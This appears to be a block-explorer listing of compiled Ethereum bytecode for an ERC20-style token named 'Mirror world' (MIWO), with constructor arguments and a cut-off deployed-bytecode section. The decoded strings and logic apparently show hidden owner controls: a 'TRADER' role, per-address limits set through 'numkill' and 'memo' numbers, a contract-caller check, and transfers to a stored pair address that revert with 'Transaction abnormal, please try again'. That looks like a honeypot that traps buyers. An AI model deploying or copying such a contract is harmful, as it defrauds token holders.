20005105760015f808481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620004b56200058160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b505050565b505050565b5f805f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b5f33905090565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b620005e982620005a1565b810181811067ffffffffffffffff821117156200060b576200060a620005b1565b5b80604052505050565b5f6200061f62000588565b90506200062d8282620005de565b919050565b5f67ffffffffffffffff8211156200064f576200064e620005b1565b5b6200065a82620005a1565b9050602081019050919050565b5f5b838110156200068657808201518184015260208101905062000669565b5f8484015250505050565b5f620006a7620006a18462000632565b62000614565b905082815260208101848484011115620006c657620006c56200059d565b5b620006d384828562000667565b509392505050565b5f82601f830112620006f257620006f162000599565b5b81516200070484826020860162000691565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000738826200070d565b9050919050565b6200074a816200072c565b811462000755575f80fd5b50565b5f8151905062000768816200073f565b92915050565b5f819050919050565b62000782816200076e565b81146200078d575f80fd5b50565b5f81519050620007a08162000777565b92915050565b5f805f8060808587031215620007c157620007c062000591565b5b5f85015167ffffffffffffffff811115620007e157620007e062000595565b5b620007ef87828801620006db565b9450506020620008028782880162000758565b935050604085015167ffffffffffffffff81111562000826576200082562000595565b5b6200083487828801620006db565b9250506060620008478782880162000790565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620008a257607f821691505b602082108103620008b857620008b76200085d565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200091c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008df565b620009288683620008df565b95508019841693508086168417925050509392505050565b5f819050919050565b5f62000969620009636200095d846200076e565b62000940565b6200076e565b9050919050565b5f819050919050565b620009848362000949565b6200099c620009938262000970565b848454620008eb565b825550505050565b5f90565b620009b2620009a4565b620009bf81848462000979565b505050565b5b81811015620009e657620009da5f82620009a8565b600181019050620009c5565b5050565b601f82111562000a3557620009ff81620008be565b62000a0a84620008d0565b8101602085101562000a1a578190505b62000a3262000a2985620008d0565b830182620009c4565b50505b505050565b5f82821c905092915050565b5f62000a575f198460080262000a3a565b1980831691505092915050565b5f62000a71838362000a46565b9150826002028217905092915050565b62000a8c8262000853565b67ffffffffffffffff81111562000aa85762000aa7620005b1565b5b62000ab482546200088a565b62000ac1828285620009ea565b5f60209050601f83116001811462000af7575f841562000ae2578287015190505b62000aee858262000a64565b86555062000b5d565b601f19841662000b0786620008be565b5f5b8281101562000b305784890151825560018201915060208501945060208101905062000b09565b8683101562000b50578489015162000b4c601f89168262000a46565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000bef5780860481111562000bc75762000bc662000b65565b5b600185161562000bd75780820291505b808102905062000be78562000b92565b945062000ba7565b94509492505050565b5f8262000c09576001905062000cdb565b8162000c18575f905062000cdb565b816001811462000c31576002811462000c3c5762000c72565b600191505062000cdb565b60ff84111562000c515762000c5062000b65565b5b8360020a91508482111562000c6b5762000c6a62000b65565b5b5062000cdb565b5060208310610133831016604e8410600b841016171562000cac5782820a90508381111562000ca65762000ca562000b65565b5b62000cdb565b62000cbb848484600162000b9e565b9250905081840481111562000cd55762000cd462000b65565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000cfa826200076e565b915062000d078362000ce2565b925062000d367fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000bf8565b905092915050565b5f62000d4a826200076e565b915062000d57836200076e565b925082820262000d67816200076e565b9150828204841483151762000d815762000d8062000b65565b5b5092915050565b5f6020828403121562000da05762000d9f62000591565b5b5f62000daf8482850162000758565b91505092915050565b62000dc3816200072c565b82525050565b5f60408201905062000dde5f83018562000db8565b62000ded602083018462000db8565b9392505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000e3a601f8362000df4565b915062000e478262000e04565b602082019050919050565b5f6020820190508181035f83015262000e6b8162000e2c565b9050919050565b5f62000e7e826200076e565b915062000e8b836200076e565b925082820190508082111562000ea65762000ea562000b65565b5b92915050565b62000eb7816200076e565b82525050565b5f60208201905062000ed25f83018462000eac565b92915050565b6130068062000ee65f395ff3fe608060405234801561000f575f80fd5b5060043610610156575f3560e01c806339509351116100c157806395d89b411161007a57806395d89b41146104125780639a5f00f414610430578063a457c2d71461044c578063a9059cbb1461047c578063d547741f146104ac578063dd62ed3e146104c857610156565b80633950935114610318578063580542571461034857806359384d731461036457806360b0f1721461039457806370a08231146103b257806391d14854146103e257610156565b806326e4180e1161011357806326e4180e146102445780632a0acc6a146102745780632a6d87d5146102925780632f2ff15d146102c2578063313ce567146102de57806336568abe146102fc57610156565b806306fdde031461015a578063095ea7b314610178578063175c4ef8146101a857806318160ddd146101c657806323b872dd146101e4578063248a9ca314610214575b5f80fd5b6101626104f8565b60405161016f9190612000565b60405180910390f35b610192600480360381019061018d91906120be565b610588565b60405161019f9190612116565b60405180910390f35b6101b06105a5565b6040516101bd9190612147565b60405180910390f35b6101ce6105c9565b6040516101db919061216f565b60405180910390f35b6101fe60048036038101906101f99190612188565b6105d2565b60405161020b9190612116565b60405180910390f35b61022e60048036038101906102299190612202565b6106c4565b60405161023b9190612147565b60405180910390f35b61025e6004803603810190610259919061222d565b6106e0565b60405161026b9190612116565b60405180910390f35b61027c6106fd565b6040516102899190612147565b60405180910390f35b6102ac60048036038101906102a79190612258565b610703565b6040516102b9919061216f565b60405180910390f35b6102dc60048036038101906102d79190612258565b610778565b005b6102e661079b565b6040516102f391906122b1565b60405180910390f35b61031660048036038101906103119190612258565b6107a3565b005b610332600480360381019061032d91906120be565b61083b565b60405161033f9190612116565b60405180910390f35b610362600480360381019061035d91906122ca565b6108e2565b005b61037e60048036038101906103799190612258565b610964565b60405161038b919061216f565b60405180910390f35b61039c6109d8565b6040516103a9919061216f565b60405180910390f35b6103cc60048036038101906103c7919061222d565b6109de565b6040516103d9919061216f565b60405180910390f35b6103fc60048036038101906103f79190612258565b610a24565b6040516104099190612116565b60405180910390f35b61041a610a87565b6040516104279190612000565b60405180910390f35b61044a60048036038101906104459190612434565b610b17565b005b610466600480360381019061046191906120be565b610bc9565b6040516104739190612116565b60405180910390f35b610496600480360381019061049191906120be565b610caf565b6040516104a39190612116565b60405180910390f35b6104c660048036038101906104c19190612258565b610ccc565b005b6104e260048036038101906104dd91906124a0565b610cef565b6040516104ef919061216f565b60405180910390f35b6060600780546105079061250b565b80601f01602080910402602001604051908101604052809291908181526020018280546105339061250b565b801561057e5780601f106105555761010080835404028352916020019161057e565b820191905f5260205f20905b81548152906001019060200180831161056157829003601f168201915b5050505050905090565b5f61059b610594610d71565b8484610d78565b6001905092915050565b7f545241444552000000000000000000000000000000000000000000000000000081565b5f600654905090565b5f6105de848484610f3b565b5f60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610625610d71565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156106a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069b906125ab565b60405180910390fd5b6106b8856106b0610d71565b858403610d78565b60019150509392505050565b5f805f8381526020019081526020015f20600101549050919050565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f801b81565b5f610770670de0b6b3a76400005f808681526020019081526020015f206002016001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610fb990919063ffffffff16565b905092915050565b5f801b61078c81610787610d71565b610fce565b610796838361106a565b505050565b5f6012905090565b5f801b6107b7816107b2610d71565b610fce565b6107bf610d71565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461082c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082390612639565b60405180910390fd5b6108368383611144565b505050565b5f6108d8610847610d71565b848460055f610854610d71565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546108d39190612684565b610d78565b6001905092915050565b5f801b6108f6816108f1610d71565b610fce565b7f54524144455200000000000000000000000000000000000000000000000000008314610958576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094f90612701565b60405180910390fd5b81600281905550505050565b5f6109d0670de0b6b3a76400005f808681526020019081526020015f206002015f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610fb990919063ffffffff16565b905092915050565b60025481565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060088054610a969061250b565b80601f0160208091040260200160405190810160405280929190818152602001828054610ac29061250b565b8015610b0d5780601f10610ae457610100808354040283529160200191610b0d565b820191905f5260205f20905b815481529060010190602001808311610af057829003601f168201915b5050505050905090565b5f801b610b2b81610b26610d71565b610fce565b5f80610b368461121e565b80925081935050505f151581151503610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b9061278f565b60405180910390fd5b5f8210610bb557610bb08686610bab670de0b6b3a76400008661132f90919063ffffffff16565b611344565b610bc1565b610bc086865f611344565b5b505050505050565b5f8060055f610bd6610d71565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610c90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c879061281d565b60405180910390fd5b610ca4610c9b610d71565b85858403610d78565b600191505092915050565b5f610cc2610cbb610d71565b8484610f3b565b6001905092915050565b5f801b610ce081610cdb610d71565b610fce565b610cea8383611144565b505050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddd906128ab565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4b90612939565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f2e919061216f565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa0906129c7565b60405180910390fd5b610fb483838361139e565b505050565b5f8183610fc69190612a12565b905092915050565b610fd88282610a24565b61106657610ffd8173ffffffffffffffffffffffffffffffffffffffff16601461149c565b61100a835f1c602061149c565b60405160200161101b929190612b10565b6040516020818303038152906040526040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105d9190612000565b60405180910390fd5b5050565b6110748282610a24565b6111405760015f808481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506110e5610d71565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b61114e8282610a24565b1561121a575f805f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506111bf610d71565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b5f805f5b8351811015611321575f603085838151811061124157611240612b49565b5b602001015160f81c60f81b60f81c6112599190612b76565b60ff16108061129757506009603085838151811061127a57611279612b49565b5b602001015160f81c60f81b60f81c6112929190612b76565b60ff16115b156112a8575f80925092505061132a565b60018185516112b79190612baa565b6112c19190612baa565b600a6112cd9190612d0c565b60308583815181106112e2576112e1612b49565b5b602001015160f81c60f81b60f81c6112fa9190612b76565b60ff166113079190612d56565b836113129190612684565b92508080600101915050611222565b50816001915091505b915091565b5f818361133c9190612d56565b905092915050565b805f808581526020019081526020015f206002015f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361140c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140390612e07565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561148c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148390612e95565b60405180910390fd5b6114978383836116d1565b505050565b60605f60028360026114ae9190612d56565b6114b89190612684565b67ffffffffffffffff8111156114d1576114d0612310565b5b6040519080825280601f01601f1916602001820160405280156115035781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f8151811061153a57611539612b49565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061159d5761159c612b49565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053505f60018460026115db9190612d56565b6115e59190612684565b90505b6001811115611684577f3031323334353637383961626364656600000000000000000000000000000000600f86166010811061162757611626612b49565b5b1a60f81b82828151811061163e5761163d612b49565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350600485901c94508061167d90612eb3565b90506115e8565b505f84146116c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116be90612f24565b60405180910390fd5b8091505092915050565b5f151560095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161515036117a55761174f7f54524144455200000000000000000000000000000000000000000000000000008461106a565b600160095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b5f151560095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503611879576118237f54524144455200000000000000000000000000000000000000000000000000008361106a565b600160095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b611884838383611889565b505050565b611894838383611899565b505050565b6118a48383836118a9565b505050565b5f8111156118e9576118dd7f54524144455200000000000000000000000000000000000000000000000000008484846118ee565b6118e8838383611ae9565b5b505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361196e5761196d7f54524144455200000000000000000000000000000000000000000000000000008483611d61565b5b60326002541480156119cd575060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a88576119db83611ddd565b8015611a34575060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6b90612fb2565b60405180910390fd5b611a878483670de0b6b3a7640000611344565b5b5f611a938585611dff565b90505f811115611ac8575f82611aa98787611e59565b611ab39190612684565b9050611ac28686858585611eb4565b50611ae1565b5f821480611ad557505f81145b15611ae05750611ae3565b5b505b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4e906129c7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbc90612e07565b60405180910390fd5b611bd0838383611f11565b5f60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611c54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4b90612e95565b60405180910390fd5b81810360045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611ce49190612684565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d48919061216f565b60405180910390a3611d5b848484611f16565b50505050565b5f811115611dd8575f611d748484611dff565b905060636002541115611dd6575f611d958383610fb990919063ffffffff16565b11611dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcc90612fb2565b60405180910390fd5b5b505b505050565b5f808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b5f805f8481526020019081526020015f206002015f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f805f8481526020019081526020015f206002016001015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f831115611f0a57818110611efe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef590612fb2565b60405180910390fd5b611f09858583611f1b565b5b5050505050565b505050565b505050565b805f808581526020019081526020015f206002016001015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611fad578082015181840152602081019050611f92565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611fd282611f76565b611fdc8185611f80565b9350611fec818560208601611f90565b611ff581611fb8565b840191505092915050565b5f6020820190508181035f8301526120188184611fc8565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61205a82612031565b9050919050565b61206a81612050565b8114612074575f80fd5b50565b5f8135905061208581612061565b92915050565b5f819050919050565b61209d8161208b565b81146120a7575f80fd5b50565b5f813590506120b881612094565b92915050565b5f80604083850312156120d4576120d3612029565b5b5f6120e185828601612077565b92505060206120f2858286016120aa565b9150509250929050565b5f8115159050919050565b612110816120fc565b82525050565b5f6020820190506121295f830184612107565b92915050565b5f819050919050565b6121418161212f565b82525050565b5f60208201905061215a5f830184612138565b92915050565b6121698161208b565b82525050565b5f6020820190506121825f830184612160565b92915050565b5f805f6060848603121561219f5761219e612029565b5b5f6121ac86828701612077565b93505060206121bd86828701612077565b92505060406121ce868287016120aa565b9150509250925092565b6121e18161212f565b81146121eb575f80fd5b50565b5f813590506121fc816121d8565b92915050565b5f6020828403121561221757612216612029565b5b5f612224848285016121ee565b91505092915050565b5f6020828403121561224257612241612029565b5b5f61224f84828501612077565b91505092915050565b5f806040838503121561226e5761226d612029565b5b5f61227b858286016121ee565b925050602061228c85828601612077565b9150509250929050565b5f60ff82169050919050565b6122ab81612296565b82525050565b5f6020820190506122c45f8301846122a2565b92915050565b5f80604083850312156122e0576122df612029565b5b5f6122ed858286016121ee565b92505060206122fe858286016120aa565b9150509250929050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61234682611fb8565b810181811067ffffffffffffffff8211171561236557612364612310565b5b80604052505050565b5f612377612020565b9050612383828261233d565b919050565b5f67ffffffffffffffff8211156123a2576123a1612310565b5b6123ab82611fb8565b9050602081019050919050565b828183375f83830152505050565b5f6123d86123d384612388565b61236e565b9050828152602081018484840111156123f4576123f361230c565b5b6123ff8482856123b8565b509392505050565b5f82601f83011261241b5761241a612308565b5b813561242b8482602086016123c6565b91505092915050565b5f805f6060848603121561244b5761244a612029565b5b5f612458868287016121ee565b935050602061246986828701612077565b925050604084013567ffffffffffffffff81111561248a5761248961202d565b5b61249686828701612407565b9150509250925092565b5f80604083850312156124b6576124b5612029565b5b5f6124c385828601612077565b92505060206124d485828601612077565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061252257607f821691505b602082108103612535576125346124de565b5b50919050565b7f45524332303a207472616e7366657220616d74206578636565647320616c6c6f5f8201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b5f612595602583611f80565b91506125a08261253b565b604082019050919050565b5f6020820190508181035f8301526125c281612589565b9050919050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e63655f8201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b5f612623602f83611f80565b915061262e826125c9565b604082019050919050565b5f6020820190508181035f83015261265081612617565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61268e8261208b565b91506126998361208b565b92508282019050808211156126b1576126b0612657565b5b92915050565b7f6e756d6b696c6c206973206e6f742061206e756d6265720000000000000000005f82015250565b5f6126eb601783611f80565b91506126f6826126b7565b602082019050919050565b5f6020820190508181035f830152612718816126df565b9050919050565b7f416363657373436f6e74726f6c3a206d656d6f206973206e6f742061206e756d5f8201527f6265720000000000000000000000000000000000000000000000000000000000602082015250565b5f612779602383611f80565b91506127848261271f565b604082019050919050565b5f6020820190508181035f8301526127a68161276d565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612807602583611f80565b9150612812826127ad565b604082019050919050565b5f6020820190508181035f830152612834816127fb565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612895602483611f80565b91506128a08261283b565b604082019050919050565b5f6020820190508181035f8301526128c281612889565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612923602283611f80565b915061292e826128c9565b604082019050919050565b5f6020820190508181035f83015261295081612917565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6129b1602583611f80565b91506129bc82612957565b604082019050919050565b5f6020820190508181035f8301526129de816129a5565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612a1c8261208b565b9150612a278361208b565b925082612a3757612a366129e5565b5b828204905092915050565b5f81905092915050565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000005f82015250565b5f612a80601783612a42565b9150612a8b82612a4c565b601782019050919050565b5f612aa082611f76565b612aaa8185612a42565b9350612aba818560208601611f90565b80840191505092915050565b7f206973206d697373696e6720726f6c65200000000000000000000000000000005f82015250565b5f612afa601183612a42565b9150612b0582612ac6565b601182019050919050565b5f612b1a82612a74565b9150612b268285612a96565b9150612b3182612aee565b9150612b3d8284612a96565b91508190509392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f612b8082612296565b9150612b8b83612296565b9250828203905060ff811115612ba457612ba3612657565b5b92915050565b5f612bb48261208b565b9150612bbf8361208b565b9250828203905081811115612bd757612bd6612657565b5b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115612c3257808604811115612c0e57612c0d612657565b5b6001851615612c1d5780820291505b8081029050612c2b85612bdd565b9450612bf2565b94509492505050565b5f82612c4a5760019050612d05565b81612c57575f9050612d05565b8160018114612c6d5760028114612c7757612ca6565b6001915050612d05565b60ff841115612c8957612c88612657565b5b8360020a915084821115612ca057612c9f612657565b5b50612d05565b5060208310610133831016604e8410600b8410161715612cdb5782820a905083811115612cd657612cd5612657565b5b612d05565b612ce88484846001612be9565b92509050818404811115612cff57612cfe612657565b5b81810290505b9392505050565b5f612d168261208b565b9150612d218361208b565b9250612d4e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c3b565b905092915050565b5f612d608261208b565b9150612d6b8361208b565b9250828202612d798161208b565b91508282048414831517612d9057612d8f612657565b5b5092915050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612df1602383611f80565b9150612dfc82612d97565b604082019050919050565b5f6020820190508181035f830152612e1e81612de5565b9050919050565b7f45524332303a207472616e7366657220616d7420657863656564732062616c615f8201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b5f612e7f602383611f80565b9150612e8a82612e25565b604082019050919050565b5f6020820190508181035f830152612eac81612e73565b9050919050565b5f612ebd8261208b565b91505f8203612ecf57612ece612657565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e745f82015250565b5f612f0e602083611f80565b9150612f1982612eda565b602082019050919050565b5f6020820190508181035f830152612f3b81612f02565b9050919050565b7f5472616e73616374696f6e2061626e6f726d616c2c20706c65617365207472795f8201527f20616761696e0000000000000000000000000000000000000000000000000000602082015250565b5f612f9c602683611f80565b9150612fa782612f42565b604082019050919050565b5f6020820190508181035f830152612fc981612f90565b905091905056fea2646970667358221220121e6ea16d14aafe1ea51cde98b2eda71227a64f4b7fcfe4f93344f7982aa11664736f6c6343000817003300000000000000000000000000000000000000000000000000000000000000800000000000000000000000000c0b79396015c42f43d2492ef6518f0316694c6e00000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000000000000000000000000000000000000000000c4d6972726f7220776f726c64000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044d49574f00000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610156575f3560e01c806339509351116100c157806395d89b411161007a57806395d89b41146104125780639a5f00f414610430578063a457c2d71461044c578063a9059cbb1461047c578063d547741f146104ac578063dd62ed3e146104c857610156565b80633950935114610318578063580542571461034857806359384d731461036457806360b0f1721461039457806370a08231146103b257806391d14854146103e257610156565b806326e4180e1161011357806326e4180e146102445780632a0acc6a146102745780632a6d87d5146102925780632f2ff15d146102c2578063313ce567146102de57806336568abe146102fc57610156565b806306fdde031461015a578063095ea7b314610178578063175c4ef8146101a857806318160ddd146101c657806323b872dd146101e4578063248a9ca314610214575b5f80fd5b6101626104f8565b60405161016f9190612000565b60405180910390f35b610192600480360381019061018d91906120be565b610588565b60405161019f9190612116565b60405180910390f35b6101b06105a5565b6040516101bd9190612147565b60405180910390f35b6101ce6105c9565b6040516101db919061216f565b60405180910390f35b6101fe60048036038101906101f99190612188565b6105d2565b60405161020b9190612116565b60405180910390f35b61022e60048036038101906102299190612202565b6106c4565b60405161023b9190612147565b60405180910390f35b61025e6004803603810190610259919061222d565b6106e0565b60405161026b9190612116565b60405180910390f35b61027c6106fd565b6040516102899190612147565b60405180910390f35b6102ac60048036038101906102a79190612258565b610703565b6040516102b9919061216f565b60405180910390f35b6102dc60048036038101906102d79190612258565b610778565b005b6102e661079b565b6040516102f391906122b1565b60405180910390f35b61031660048036038101906103119190612258565b6107a3565b005b610332600480360381019061032d91906120be565b61083b565b60405161033f9190612116565b60405180910390f35b610362600480360381019061035d91906122ca565b6108e2565b005b61037e60048036038101906103799190612258565b610964565b60405161038b919061216f565b60405180910390f35b61039c6109d8565b6040516103a9919061216f565b60405180910390f35b6103cc60048036038101906103c7919061222d565b6109de565b6040516103d9919061216f565b60405180910390f35b6103fc60048036038101906103f79190612258565b610a24565b6040516104099190612116565b60405180910390f35b61041a610a87565b6040516104279190612000565b60405180910390f35b61044a60048036038101906104459190612434565b610b17565b005b610466600480360381019061046191906120be565b610bc9565b6040516104739190612116565b60405180910390f35b610496600480360381019061049191906120be565b610caf565b6040516104a39190612116565b60405180910390f35b6104c660048036038101906104c19190612258565b610ccc565b005b6104e260048036038101906104dd91906124a0565b610cef565b6040516104e